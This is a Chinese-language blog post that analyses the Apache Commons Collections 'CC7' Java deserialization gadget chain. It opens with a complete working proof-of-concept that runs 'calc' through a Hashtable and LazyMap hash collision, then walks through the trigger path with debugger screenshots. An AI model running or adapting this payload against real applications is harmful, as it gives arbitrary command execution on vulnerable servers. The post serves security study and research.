CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的。文章如有错误,敬请大佬们斧正
CC7利用的是hashtable#readObject作为反序列化入口。AbstractMap的equals来触发的LazyMap的get方法
POC分析
这条链太过于复杂,无法想象大佬们是怎么样的思维挖掘出这条链的,所以只能跟着大佬的poc跟着进行调试了分析了
public class CC7 {
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.println(lazyMap1 == lazyMap2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectInputStream.readObject();
}
}
前面和其他链都一样,关键看后面。这里构造了两个LazyMap对象,并且都put进了hashtable中。而hashtable的readObject就是为反序列化的入口。
在readObject方法的最后一行,进入reconstitutionPut方法
![image-20210712213106330](https://i-blog.csdnimg.cn/blog_migrate/19d8f8b2e4e2bb69fa3568e89cc1cff2.png)
进行判断tab[index]是否为null,不为null则进入if语句,执行e.key.equals(key),此时的e.key为LazyMap
![image-20210712213250851](https://i-blog.csdnimg.cn/blog_migrate/a5ad5b141a3a48f02745c395a6b1f37d.png)
转到LazyMap的equals方法,此时的map就是刚开始传入的HashMap,而参数object就是LazyMap
![image-20210712213400906](https://i-blog.csdnimg.cn/blog_migrate/2fdca47d45d535b40e6b73ed752aeed6.png)
![image-20210712213445683](https://i-blog.csdnimg.cn/blog_migrate/2e9e41be6cc590899bf8e14ccf3db61c.png)
转到HashMap的equals,第495行进行了m.get,而这个m就是LazyMap,从而调用到了LazyMap的get方法
![image-20210712213733581](https://i-blog.csdnimg.cn/blog_migrate/eba243acb31908f57865c8b60518bdab.png)
关于满足上面调用链,要满足几个条件
两个LazyMap的hashcode值要一样
为了在hashtable数组put第二个LazyMap时候会执行equals方法,所以要进行两个hash值是相同的。即
lazyMap1.hashCode() == lazyMap2.hashCode()
而相同的条件则是里面的元素值一样,比如
“zZ”.hashCode()和"yy".hashCode()是一样的
![image-20210712220217709](https://i-blog.csdnimg.cn/blog_migrate/ba23a898d38e52e37f9a42396f275006.png)
类似的还有Aa和BB等等
hashtable要put两次
在反序列时候,执行到reconstitutionPut,需要把第一个LazyMap put进数组。此时进行for循环判断tab[3]的值为空(null),即不会进入if语句进行判断,而直接加入lazyMap进行数组到tab[3]的位置
![image-20210712205925566](https://i-blog.csdnimg.cn/blog_migrate/425884329fdb8933a917a96375b259e0.png)
第二次加入LazyMap,会发现LazyMap已经存在于tab[3]的位置,从而进行hash和equals判断。两个lazyMap对象用hashCode拿到的hash值其实是相同的,就会执行lazyMap的equals方法判断两个LazyMap。
![image-20210712210956845](https://i-blog.csdnimg.cn/blog_migrate/9184401f6df647290c5a3aa3c6de886a.png)
e里面存放的值
![image-20210712211041705](https://i-blog.csdnimg.cn/blog_migrate/8e00d7fb482368272c60d691bfb0e4a7.png)
要remove移除LazyMap的值
因为之前在第二次hashtable.put(lazyMap2, 1);时候会进行一次把值加入到m,m.size就成了2,导致了if语句判断为真,直接return false中断了后面m.get的执行,所以要remove第一次put的lazyMap1。接下来看详细解读
Hashtable不允许放重复得值,Hashtable进行put的时候,会先比较集合中是否有相同得参数(利用hash值和equals方法比较),如下图
![image-20210712152308258](https://i-blog.csdnimg.cn/blog_migrate/30b81e2bb1871980cd5102e10377fefa.png)
第二次hashtable.put时,计算到两个lazyMap得hash值相同,则再调用lazyMap得equals进行比较,lazyMap得equals方法是继承至AbstractMapDecorator
![image-20210712153327067](https://i-blog.csdnimg.cn/blog_migrate/172559723e451092436d501226c64bc8.png)
return了map得equals方法,而map得值是在LazyMap.decorate中传入得hashMap2,为HashMap类型
![image-20210712153721168](https://i-blog.csdnimg.cn/blog_migrate/a311a5553afb7046acf677cf21d7ee1e.png)
查看HashMap得equals(此方法是继承自AbstractMap)
![image-20210712153938970](https://i-blog.csdnimg.cn/blog_migrate/753431ebe0e84e3d83b4b1c767ec6f74.png)
在482行中,此时m值只有个zZ,size为1
![image-20210712162531844](https://i-blog.csdnimg.cn/blog_migrate/fb0dd38b41985e7162e85990bdea63a8.png)
之后把zZ加进了集合后,就有两个元素了。
后面进行反序列化时候,调用到这里会出现m.size=2,而size()则是1,导致了直接return false中断了后面m.get的执行
![image-20210712203940577](https://i-blog.csdnimg.cn/blog_migrate/b40f8de1ea7741df214d1a14fadcaef5.png)